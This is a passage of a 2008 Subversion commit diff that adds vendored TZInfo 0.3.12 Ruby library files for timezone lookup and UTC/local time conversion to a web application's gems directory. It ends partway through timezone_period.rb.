+    # to_orig will be called on the result and the result of to_orig will be
+    # returned.
+    #
+    # timeOrDateTime can be a Time, DateTime, integer timestamp or TimeOrDateTime.
+    # If a TimeOrDateTime is passed in, no new TimeOrDateTime will be constructed,
+    # the passed in value will be used.
+    def self.wrap(timeOrDateTime)      
+      t = timeOrDateTime.is_a?(TimeOrDateTime) ? timeOrDateTime : TimeOrDateTime.new(timeOrDateTime)        
+      
+      if block_given?
+        t = yield t
+        
+        if timeOrDateTime.is_a?(TimeOrDateTime)
+          t          
+        elsif timeOrDateTime.is_a?(Time)
+          t.to_time
+        elsif timeOrDateTime.is_a?(DateTime)
+          t.to_datetime
+        else
+          t.to_i
+        end        
+      else
+        t
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,508 @@
+#--
+# Copyright (c) 2005-2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'date'
+# require 'tzinfo/country'
+require 'tzinfo/time_or_datetime'
+require 'tzinfo/timezone_period'
+
+module TZInfo
+  # Indicate a specified time in a local timezone has more than one
+  # possible time in UTC. This happens when switching from daylight savings time 
+  # to normal time where the clocks are rolled back. Thrown by period_for_local
+  # and local_to_utc when using an ambiguous time and not specifying any 
+  # means to resolve the ambiguity.
+  class AmbiguousTime < StandardError
+  end
+  
+  # Thrown to indicate that no TimezonePeriod matching a given time could be found.
+  class PeriodNotFound < StandardError
+  end
+  
+  # Thrown by Timezone#get if the identifier given is not valid.
+  class InvalidTimezoneIdentifier < StandardError
+  end
+  
+  # Thrown if an attempt is made to use a timezone created with Timezone.new(nil).
+  class UnknownTimezone < StandardError
+  end
+  
+  # Timezone is the base class of all timezones. It provides a factory method
+  # get to access timezones by identifier. Once a specific Timezone has been
+  # retrieved, DateTimes, Times and timestamps can be converted between the UTC 
+  # and the local time for the zone. For example:
+  #
+  #   tz = TZInfo::Timezone.get('America/New_York')
+  #   puts tz.utc_to_local(DateTime.new(2005,8,29,15,35,0)).to_s
+  #   puts tz.local_to_utc(Time.utc(2005,8,29,11,35,0)).to_s
+  #   puts tz.utc_to_local(1125315300).to_s
+  #
+  # Each time conversion method returns an object of the same type it was 
+  # passed.
+  #
+  # The timezone information all comes from the tz database
+  # (see http://www.twinsun.com/tz/tz-link.htm)
+  class Timezone
+    include Comparable
+    
+    # Cache of loaded zones by identifier to avoid using require if a zone
+    # has already been loaded.
+    @@loaded_zones = {}
+    
+    # Whether the timezones index has been loaded yet.
+    @@index_loaded = false
+    
+    # Returns a timezone by its identifier (e.g. "Europe/London", 
+    # "America/Chicago" or "UTC").
+    #
+    # Raises InvalidTimezoneIdentifier if the timezone couldn't be found.
+    def self.get(identifier)
+      instance = @@loaded_zones[identifier]
+      unless instance  
+        raise InvalidTimezoneIdentifier, 'Invalid identifier' if identifier !~ /^[A-z0-9\+\-_]+(\/[A-z0-9\+\-_]+)*$/
+        identifier = identifier.gsub(/-/, '__m__').gsub(/\+/, '__p__')
+        begin
+          # Use a temporary variable to avoid an rdoc warning
+          file = "tzinfo/definitions/#{identifier}"
+          require file
+          
+          m = Definitions
+          identifier.split(/\//).each {|part|
+            m = m.const_get(part)
+          }
+          
+          info = m.get
+          
+          # Could make Timezone subclasses register an interest in an info
+          # type. Since there are currently only two however, there isn't
+          # much point.
+          if info.kind_of?(DataTimezoneInfo)
+            instance = DataTimezone.new(info)
+          elsif info.kind_of?(LinkedTimezoneInfo)
+            instance = LinkedTimezone.new(info)
+          else
+            raise InvalidTimezoneIdentifier, "No handler for info type #{info.class}"
+          end
+          
+          @@loaded_zones[instance.identifier] = instance         
+        rescue LoadError, NameError => e
+          raise InvalidTimezoneIdentifier, e.message
+        end
+      end
+      
+      instance
+    end
+    
+    # Returns a proxy for the Timezone with the given identifier. The proxy
+    # will cause the real timezone to be loaded when an attempt is made to 
+    # find a period or convert a time. get_proxy will not validate the 
+    # identifier. If an invalid identifier is specified, no exception will be 
+    # raised until the proxy is used. 
+    def self.get_proxy(identifier)
+      TimezoneProxy.new(identifier)
+    end
+    
+    # If identifier is nil calls super(), otherwise calls get. An identfier 
+    # should always be passed in when called externally.
+    def self.new(identifier = nil)
+      if identifier        
+        get(identifier)
+      else
+        super()
+      end
+    end
+    
+    # Returns an array containing all the available Timezones.
+    #
+    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
+    # definitions until a conversion is actually required.
+    def self.all
+      get_proxies(all_identifiers)
+    end
+    
+    # Returns an array containing the identifiers of all the available 
+    # Timezones.
+    def self.all_identifiers
+      load_index
+      Indexes::Timezones.timezones
+    end
+    
+    # Returns an array containing all the available Timezones that are based
+    # on data (are not links to other Timezones).
+    #
+    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
+    # definitions until a conversion is actually required.
+    def self.all_data_zones
+      get_proxies(all_data_zone_identifiers)
+    end
+    
+    # Returns an array containing the identifiers of all the available 
+    # Timezones that are based on data (are not links to other Timezones)..
+    def self.all_data_zone_identifiers
+      load_index
+      Indexes::Timezones.data_timezones
+    end
+    
+    # Returns an array containing all the available Timezones that are links
+    # to other Timezones.
+    #
+    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
+    # definitions until a conversion is actually required.
+    def self.all_linked_zones
+      get_proxies(all_linked_zone_identifiers)      
+    end
+    
+    # Returns an array containing the identifiers of all the available 
+    # Timezones that are links to other Timezones.
+    def self.all_linked_zone_identifiers
+      load_index
+      Indexes::Timezones.linked_timezones
+    end
+    
+    # Returns all the Timezones defined for all Countries. This is not the
+    # complete set of Timezones as some are not country specific (e.g. 
+    # 'Etc/GMT').
+    # 
+    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
+    # definitions until a conversion is actually required.        
+    def self.all_country_zones
+      Country.all_codes.inject([]) {|zones,country|
+        zones += Country.get(country).zones
+      }
+    end
+    
+    # Returns all the zone identifiers defined for all Countries. This is not the
+    # complete set of zone identifiers as some are not country specific (e.g. 
+    # 'Etc/GMT'). You can obtain a Timezone instance for a given identifier
+    # with the get method.
+    def self.all_country_zone_identifiers
+      Country.all_codes.inject([]) {|zones,country|
+        zones += Country.get(country).zone_identifiers
+      }
+    end
+    
+    # Returns all US Timezone instances. A shortcut for 
+    # TZInfo::Country.get('US').zones.
+    #
+    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
+    # definitions until a conversion is actually required.
+    def self.us_zones
+      Country.get('US').zones
+    end
+    
+    # Returns all US zone identifiers. A shortcut for 
+    # TZInfo::Country.get('US').zone_identifiers.
+    def self.us_zone_identifiers
+      Country.get('US').zone_identifiers
+    end
+    
+    # The identifier of the timezone, e.g. "Europe/Paris".
+    def identifier
+      raise UnknownTimezone, 'TZInfo::Timezone constructed directly'
+    end
+    
+    # An alias for identifier.
+    def name
+      # Don't use alias, as identifier gets overridden.
+      identifier
+    end
+    
+    # Returns a friendlier version of the identifier.
+    def to_s
+      friendly_identifier
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      "#<#{self.class}: #{identifier}>"
+    end
+    
+    # Returns a friendlier version of the identifier. Set skip_first_part to 
+    # omit the first part of the identifier (typically a region name) where
+    # there is more than one part.
+    #
+    # For example:
+    #
+    #   Timezone.get('Europe/Paris').friendly_identifier(false)          #=> "Europe - Paris"
+    #   Timezone.get('Europe/Paris').friendly_identifier(true)           #=> "Paris"
+    #   Timezone.get('America/Indiana/Knox').friendly_identifier(false)  #=> "America - Knox, Indiana"
+    #   Timezone.get('America/Indiana/Knox').friendly_identifier(true)   #=> "Knox, Indiana"           
+    def friendly_identifier(skip_first_part = false)
+      parts = identifier.split('/')
+      if parts.empty?
+        # shouldn't happen
+        identifier
+      elsif parts.length == 1        
+        parts[0]
+      else
+        if skip_first_part
+          result = ''
+        else
+          result = parts[0] + ' - '
+        end
+        
+        parts[1, parts.length - 1].reverse_each {|part|
+          part.gsub!(/_/, ' ')
+          
+          if part.index(/[a-z]/)
+            # Missing a space if a lower case followed by an upper case and the
+            # name isn't McXxxx.
+            part.gsub!(/([^M][a-z])([A-Z])/, '\1 \2')
+            part.gsub!(/([M][a-bd-z])([A-Z])/, '\1 \2')
+            
+            # Missing an apostrophe if two consecutive upper case characters.
+            part.gsub!(/([A-Z])([A-Z])/, '\1\'\2')
+          end
+          
+          result << part
+          result << ', '
+        }
+        
+        result.slice!(result.length - 2, 2)
+        result
+      end
+    end
+    
+    # Returns the TimezonePeriod for the given UTC time. utc can either be
+    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
+    # information in utc is ignored (it is treated as a UTC time).        
+    def period_for_utc(utc)            
+      raise UnknownTimezone, 'TZInfo::Timezone constructed directly'      
+    end
+    
+    # Returns the set of TimezonePeriod instances that are valid for the given
+    # local time as an array. If you just want a single period, use 
+    # period_for_local instead and specify how ambiguities should be resolved.
+    # Returns an empty array if no periods are found for the given time.
+    def periods_for_local(local)
+      raise UnknownTimezone, 'TZInfo::Timezone constructed directly'
+    end
+    
+    # Returns the TimezonePeriod for the given local time. local can either be
+    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
+    # information in local is ignored (it is treated as a time in the current 
+    # timezone).
+    #
+    # Warning: There are local times that have no equivalent UTC times (e.g.
+    # in the transition from standard time to daylight savings time). There are
+    # also local times that have more than one UTC equivalent (e.g. in the
+    # transition from daylight savings time to standard time).
+    #
+    # In the first case (no equivalent UTC time), a PeriodNotFound exception
+    # will be raised.
+    #
+    # In the second case (more than one equivalent UTC time), an AmbiguousTime
+    # exception will be raised unless the optional dst parameter or block
+    # handles the ambiguity. 
+    #
+    # If the ambiguity is due to a transition from daylight savings time to
+    # standard time, the dst parameter can be used to select whether the 
+    # daylight savings time or local time is used. For example,
+    #
+    #   Timezone.get('America/New_York').period_for_local(DateTime.new(2004,10,31,1,30,0))
+    #
+    # would raise an AmbiguousTime exception.
+    #
+    # Specifying dst=true would the daylight savings period from April to 
+    # October 2004. Specifying dst=false would return the standard period
+    # from October 2004 to April 2005.
+    #
+    # If the dst parameter does not resolve the ambiguity, and a block is 
+    # specified, it is called. The block must take a single parameter - an
+    # array of the periods that need to be resolved. The block can select and
+    # return a single period or return nil or an empty array
+    # to cause an AmbiguousTime exception to be raised.
+    def period_for_local(local, dst = nil)            
+      results = periods_for_local(local)
+      
+      if results.empty?
+        raise PeriodNotFound
+      elsif results.size < 2
+        results.first
+      else
+        # ambiguous result try to resolve
+        
+        if !dst.nil?
+          matches = results.find_all {|period| period.dst? == dst}
+          results = matches if !matches.empty?            
+        end
+        
+        if results.size < 2
+          results.first
+        else
+          # still ambiguous, try the block
+                    
+          if block_given?
+            results = yield results
+          end
+          
+          if results.is_a?(TimezonePeriod)
+            results
+          elsif results && results.size == 1
+            results.first
+          else          
+            raise AmbiguousTime, "#{local} is an ambiguous local time."
+          end
+        end
+      end      
+    end
+    
+    # Converts a time in UTC to the local timezone. utc can either be
+    # a DateTime, Time or timestamp (Time.to_i). The returned time has the same
+    # type as utc. Any timezone information in utc is ignored (it is treated as 
+    # a UTC time).
+    def utc_to_local(utc)
+      TimeOrDateTime.wrap(utc) {|wrapped|
+        period_for_utc(wrapped).to_local(wrapped)
+      }
+    end
+    
+    # Converts a time in the local timezone to UTC. local can either be
+    # a DateTime, Time or timestamp (Time.to_i). The returned time has the same
+    # type as local. Any timezone information in local is ignored (it is treated
+    # as a local time).
+    #
+    # Warning: There are local times that have no equivalent UTC times (e.g.
+    # in the transition from standard time to daylight savings time). There are
+    # also local times that have more than one UTC equivalent (e.g. in the
+    # transition from daylight savings time to standard time).
+    #
+    # In the first case (no equivalent UTC time), a PeriodNotFound exception
+    # will be raised.
+    #
+    # In the second case (more than one equivalent UTC time), an AmbiguousTime
+    # exception will be raised unless the optional dst parameter or block
+    # handles the ambiguity. 
+    #
+    # If the ambiguity is due to a transition from daylight savings time to
+    # standard time, the dst parameter can be used to select whether the 
+    # daylight savings time or local time is used. For example,
+    #
+    #   Timezone.get('America/New_York').local_to_utc(DateTime.new(2004,10,31,1,30,0))
+    #
+    # would raise an AmbiguousTime exception.
+    #
+    # Specifying dst=true would return 2004-10-31 5:30:00. Specifying dst=false
+    # would return 2004-10-31 6:30:00.
+    #
+    # If the dst parameter does not resolve the ambiguity, and a block is 
+    # specified, it is called. The block must take a single parameter - an
+    # array of the periods that need to be resolved. The block can return a
+    # single period to use to convert the time or return nil or an empty array
+    # to cause an AmbiguousTime exception to be raised.
+    def local_to_utc(local, dst = nil)
+      TimeOrDateTime.wrap(local) {|wrapped|
+        if block_given?
+          period = period_for_local(wrapped, dst) {|periods| yield periods }
+        else
+          period = period_for_local(wrapped, dst)
+        end
+        
+        period.to_utc(wrapped)
+      }
+    end
+    
+    # Returns the current time in the timezone as a Time.
+    def now
+      utc_to_local(Time.now.utc)
+    end
+    
+    # Returns the TimezonePeriod for the current time. 
+    def current_period
+      period_for_utc(Time.now.utc)
+    end
+    
+    # Returns the current Time and TimezonePeriod as an array. The first element
+    # is the time, the second element is the period.
+    def current_period_and_time
+      utc = Time.now.utc
+      period = period_for_utc(utc)
+      [period.to_local(utc), period]
+    end
+    
+    alias :current_time_and_period :current_period_and_time
+
+    # Converts a time in UTC to local time and returns it as a string 
+    # according to the given format. The formatting is identical to 
+    # Time.strftime and DateTime.strftime, except %Z is replaced with the
+    # timezone abbreviation for the specified time (for example, EST or EDT).        
+    def strftime(format, utc = Time.now.utc)      
+      period = period_for_utc(utc)
+      local = period.to_local(utc)      
+      local = Time.at(local).utc unless local.kind_of?(Time) || local.kind_of?(DateTime)
+      abbreviation = period.abbreviation.to_s.gsub(/%/, '%%')
+      
+      format = format.gsub(/(.?)%Z/) do
+        if $1 == '%'
+          # return %%Z so the real strftime treats it as a literal %Z too
+          '%%Z'
+        else
+          "#$1#{abbreviation}"
+        end
+      end
+      
+      local.strftime(format)
+    end
+    
+    # Compares two Timezones based on their identifier. Returns -1 if tz is less
+    # than self, 0 if tz is equal to self and +1 if tz is greater than self.
+    def <=>(tz)
+      identifier <=> tz.identifier
+    end
+    
+    # Returns true if and only if the identifier of tz is equal to the 
+    # identifier of this Timezone.
+    def eql?(tz)
+      self == tz
+    end
+    
+    # Returns a hash of this Timezone.
+    def hash
+      identifier.hash
+    end
+    
+    # Dumps this Timezone for marshalling.
+    def _dump(limit)
+      identifier
+    end
+    
+    # Loads a marshalled Timezone.
+    def self._load(data)
+      Timezone.get(data)
+    end
+    
+    private
+      # Loads in the index of timezones if it hasn't already been loaded.
+      def self.load_index
+        unless @@index_loaded
+          require 'tzinfo/indexes/timezones'
+          @@index_loaded = true
+        end        
+      end
+      
+      # Returns an array of proxies corresponding to the given array of 
+      # identifiers.
+      def self.get_proxies(identifiers)
+        identifiers.collect {|identifier| get_proxy(identifier)}
+      end
+  end        
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,56 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/data_timezone_info'
+require 'tzinfo/linked_timezone_info'
+
+module TZInfo
+  
+  # TimezoneDefinition is included into Timezone definition modules.
+  # TimezoneDefinition provides the methods for defining timezones.
+  module TimezoneDefinition #:nodoc:
+    # Add class methods to the includee.
+    def self.append_features(base)
+      super
+      base.extend(ClassMethods)
+    end
+    
+    # Class methods for inclusion.
+    module ClassMethods #:nodoc:
+      # Returns and yields a DataTimezoneInfo object to define a timezone.
+      def timezone(identifier)
+        yield @timezone = DataTimezoneInfo.new(identifier)
+      end
+      
+      # Defines a linked timezone.
+      def linked_timezone(identifier, link_to_identifier)
+        @timezone = LinkedTimezoneInfo.new(identifier, link_to_identifier)
+      end
+      
+      # Returns the last TimezoneInfo to be defined with timezone or 
+      # linked_timezone.
+      def get
+        @timezone
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,40 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+module TZInfo
+  # Represents a timezone defined in a data module.
+  class TimezoneInfo #:nodoc:
+    
+    # The timezone identifier.
+    attr_reader :identifier
+    
+    # Constructs a new TimezoneInfo with an identifier.
+    def initialize(identifier)
+      @identifier = identifier
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      "#<#{self.class}: #@identifier>"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,94 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+module TZInfo
+  # Represents an offset defined in a Timezone data file.
+  class TimezoneOffsetInfo #:nodoc:
+    # The base offset of the timezone from UTC in seconds.
+    attr_reader :utc_offset
+    
+    # The offset from standard time for the zone in seconds (i.e. non-zero if 
+    # daylight savings is being observed).
+    attr_reader :std_offset
+    
+    # The total offset of this observance from UTC in seconds 
+    # (utc_offset + std_offset).
+    attr_reader :utc_total_offset
+    
+    # The abbreviation that identifies this observance, e.g. "GMT" 
+    # (Greenwich Mean Time) or "BST" (British Summer Time) for "Europe/London". The returned identifier is a 
+    # symbol.
+    attr_reader :abbreviation
+    
+    # Constructs a new TimezoneOffsetInfo. utc_offset and std_offset are
+    # specified in seconds.
+    def initialize(utc_offset, std_offset, abbreviation)
+      @utc_offset = utc_offset
+      @std_offset = std_offset      
+      @abbreviation = abbreviation
+      
+      @utc_total_offset = @utc_offset + @std_offset
+    end
+    
+    # True if std_offset is non-zero.
+    def dst?
+      @std_offset != 0
+    end
+    
+    # Converts a UTC DateTime to local time based on the offset of this period.
+    def to_local(utc)
+      TimeOrDateTime.wrap(utc) {|wrapped|
+        wrapped + @utc_total_offset
+      }
+    end
+    
+    # Converts a local DateTime to UTC based on the offset of this period.
+    def to_utc(local)
+      TimeOrDateTime.wrap(local) {|wrapped|
+        wrapped - @utc_total_offset
+      }
+    end
+    
+    # Returns true if and only if toi has the same utc_offset, std_offset
+    # and abbreviation as this TimezoneOffsetInfo.
+    def ==(toi)
+      toi.respond_to?(:utc_offset) && toi.respond_to?(:std_offset) && toi.respond_to?(:abbreviation) &&
+        utc_offset == toi.utc_offset && std_offset == toi.std_offset && abbreviation == toi.abbreviation
+    end
+    
+    # Returns true if and only if toi has the same utc_offset, std_offset
+    # and abbreviation as this TimezoneOffsetInfo.
+    def eql?(toi)
+      self == toi
+    end
+    
+    # Returns a hash of this TimezoneOffsetInfo.
+    def hash
+      utc_offset.hash ^ std_offset.hash ^ abbreviation.hash
+    end
+    
+    # Returns internal object state as a programmer-readable string.
+    def inspect
+      "#<#{self.class}: #@utc_offset,#@std_offset,#@abbreviation>"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,198 @@
+#--
+# Copyright (c) 2005-2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/offset_rationals'
+require 'tzinfo/time_or_datetime'
+
+module TZInfo
+  # A period of time in a timezone where the same offset from UTC applies.
+  #
+  # All the methods that take times accept instances of Time, DateTime or
+  # integer timestamps.
+  class TimezonePeriod
+    # The TimezoneTransitionInfo that defines the start of this TimezonePeriod 
+    # (may be nil if unbounded).
+    attr_reader :start_transition
+    
+    # The TimezoneTransitionInfo that defines the end of this TimezonePeriod
+    # (may be nil if unbounded).
+    attr_reader :end_transition
+    
+    # The TimezoneOffsetInfo for this period.
+    attr_reader :offset    
+    
+    # Initializes a new TimezonePeriod.
+    def initialize(start_transition, end_transition, offset = nil)
+      @start_transition = start_transition
+      @end_transition = end_transition
+      
+      if offset
+        raise ArgumentError, 'Offset specified with transitions' if @start_transition || @end_transition
+        @offset = offset
+      else
+        if @start_transition 
+          @offset = @start_transition.offset
+        elsif @end_transition
+          @offset = @end_transition.previous_offset
+        else
+          raise ArgumentError, 'No offset specified and no transitions to determine it from'
+        end
+      end
+      
+      @utc_total_offset_rational = nil      
+    end
+            
+    # Base offset of the timezone from UTC (seconds).
+    def utc_offset
+      @offset.utc_offset
+    end
+    
+    # Offset from the local time where daylight savings is in effect (seconds).
+    # E.g.: utc_offset could be -5 hours. Normally, std_offset would be 0. 
+    # During daylight savings, std_offset would typically become +1 hours.
+    def std_offset
+      @offset.std_offset
+    end
+    
+    # The identifier of this period, e.g. "GMT" (Greenwich Mean Time) or "BST"
+    # (British Summer Time) for "Europe/London". The returned identifier is a 
+    # symbol.
+    def abbreviation
+      @offset.abbreviation
+    end
+    alias :zone_identifier :abbreviation
+    
+    # Total offset from UTC (seconds). Equal to utc_offset + std_offset.
+    def utc_total_offset
+      @offset.utc_total_offset
+    end
+    
+    # Total offset from UTC (days). Result is a Rational.
+    def utc_total_offset_rational
+      unless @utc_total_offset_rational
+        @utc_total_offset_rational = OffsetRationals.rational_for_offset(utc_total_offset) 
+      end
+      @utc_total_offset_rational
+    end
+    
+    # The start time of the period in UTC as a DateTime. May be nil if unbounded.
+    def utc_start
+      @start_transition ? @start_transition.at.to_datetime : nil
+    end
+    
+    # The end time of the period in UTC as a DateTime. May be nil if unbounded.
+    def utc_end
+      @end_transition ? @end_transition.at.to_datetime : nil
+    end
+    
+    # The start time of the period in local time as a DateTime. May be nil if 
+    # unbounded.
+    def local_start
+      @start_transition ? @start_transition.local_start.to_datetime : nil
+    end
+    
+    # The end time of the period in local time as a DateTime. May be nil if 
+    # unbounded.
+    def local_end
+      @end_transition ? @end_transition.local_end.to_datetime : nil
+    end
+    
+    # true if daylight savings is in effect for this period; otherwise false.
+    def dst?
+      @offset.dst?
+    end
+    
+    # true if this period is valid for the given UTC DateTime; otherwise false.
+    def valid_for_utc?(utc)
+      utc_after_start?(utc) && utc_before_end?(utc) 
+    end
+    
+    # true if the given UTC DateTime is after the start of the period 
+    # (inclusive); otherwise false.
+    def utc_after_start?(utc)
+      !@start_transition || @start_transition.at <= utc
+    end
+    
+    # true if the given UTC DateTime is before the end of the period 
+    # (exclusive); otherwise false.
+    def utc_before_end?(utc)
+      !@end_transition || @end_transition.at > utc
+    end
+    
+    # true if this period is valid for the given local DateTime; otherwise false.
+    def valid_for_local?(local)      
+      local_after_start?(local) && local_before_end?(local) 
+    end
+    
+    # true if the given local DateTime is after the start of the period 
